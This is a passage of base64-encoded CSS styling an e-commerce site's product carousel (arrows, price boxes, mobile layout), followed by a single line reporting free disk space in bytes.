tZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNoZWNrIHNwYW4sCiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2hlY2sgc3BhbiwKICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jaGVjayBzcGFuLAogICAgICAgICAgICAgICAgICAgICAud2lkZ2V0LndpZGdldC1yZWxhdGVkIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jaGVjayBzcGFuCiAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsOwogICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNzAwOwogICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEwcHg7CiAgICAgICAgICAgICAgICAgICAgIGxldHRlci1zcGFjaW5nOiAtLjAxMWVtOwogICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzFkMWQxZDsKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAud2lkZ2V0LndpZGdldC11cHNlbGwgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5zbGljay1hcnJvdywud2lkZ2V0LndpZGdldC1yZWxhdGVkIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAuc2xpY2stYXJyb3csLndpZGdldC53aWRnZXQtdXBzZWxsIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnNsaWNrLWFycm93LC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAuc2xpY2stYXJyb3cgewogICAgICAgICAgICAgICAgICAgICB3aWR0aDogNDBweDsKICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA0MHB4OwogICAgICAgICAgICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjsKICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdAogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDc2N3B4KSB7CiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXVwc2VsbCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnNsaWNrLWFycm93LC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5zbGljay1hcnJvdywud2lkZ2V0LndpZGdldC11cHNlbGwgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAuc2xpY2stYXJyb3csLndpZGdldC53aWRnZXQtcmVsYXRlZCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5zbGljay1hcnJvdyB7CiAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6bm9uZSAhaW1wb3J0YW50CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAud2lkZ2V0LndpZGdldC11cHNlbGwgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5zbGljay1hcnJvdy5zbGljay1wcmV2LC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5zbGljay1hcnJvdy5zbGljay1wcmV2LC53aWRnZXQud2lkZ2V0LXVwc2VsbCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5zbGljay1hcnJvdy5zbGljay1wcmV2LC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAuc2xpY2stYXJyb3cuc2xpY2stcHJldiB7CiAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybChodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3N0YXRpYy92ZXJzaW9uMTc0MTk2MzM0NS9mcm9udGVuZC9Db2RpbGFyL21vdGhlcmNhcmUvaWRfSUQvaW1hZ2VzL2dyYXktcHJldi1hcnJvdy5zdmcpOwogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXVwc2VsbCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnNsaWNrLWFycm93LnNsaWNrLW5leHQsLndpZGdldC53aWRnZXQtcmVsYXRlZCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnNsaWNrLWFycm93LnNsaWNrLW5leHQsLndpZGdldC53aWRnZXQtdXBzZWxsIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnNsaWNrLWFycm93LnNsaWNrLW5leHQsLndpZGdldC53aWRnZXQtcmVsYXRlZCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5zbGljay1hcnJvdy5zbGljay1uZXh0IHsKICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKGh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvc3RhdGljL3ZlcnNpb24xNzQxOTYzMzQ1L2Zyb250ZW5kL0NvZGlsYXIvbW90aGVyY2FyZS9pZF9JRC9pbWFnZXMvZ3JheS1uZXh0LWFycm93LnN2Zyk7CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNhcm91c2VsLXByaWNlLWJveCB7CiAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgICAgICAgICAgIGZsZXgtZmxvdzogcm93IHdyYXA7CiAgICAgICAgICAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOwogICAgICAgICAgICAgICAgICAgICBhbGlnbi1jb250ZW50OiBmbGV4LWVuZAogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXVwc2VsbCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3ggLnByaWNlLWJveC5jcm9zc2VkIHsKICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEwMCUKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAud2lkZ2V0LndpZGdldC11cHNlbGwgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3guY3Jvc3NlZCAub2xkLXByaWNlIHsKICAgICAgICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiB1bnNldAogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXVwc2VsbCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3ggLnByaWNlLWJveC5jcm9zc2VkIC5vbGQtcHJpY2UgLnByaWNlIHsKICAgICAgICAgICAgICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsOwogICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNzAwOwogICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7CiAgICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxMjAlOwogICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzUxNTc1OTsKICAgICAgICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBsaW5lLXRocm91Z2gKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAud2lkZ2V0LndpZGdldC11cHNlbGwgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3gucGVyY2VudCB7CiAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvOwogICAgICAgICAgICAgICAgICAgICBvcmRlcjogMwogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgI
Free Space : 56969342976 Byte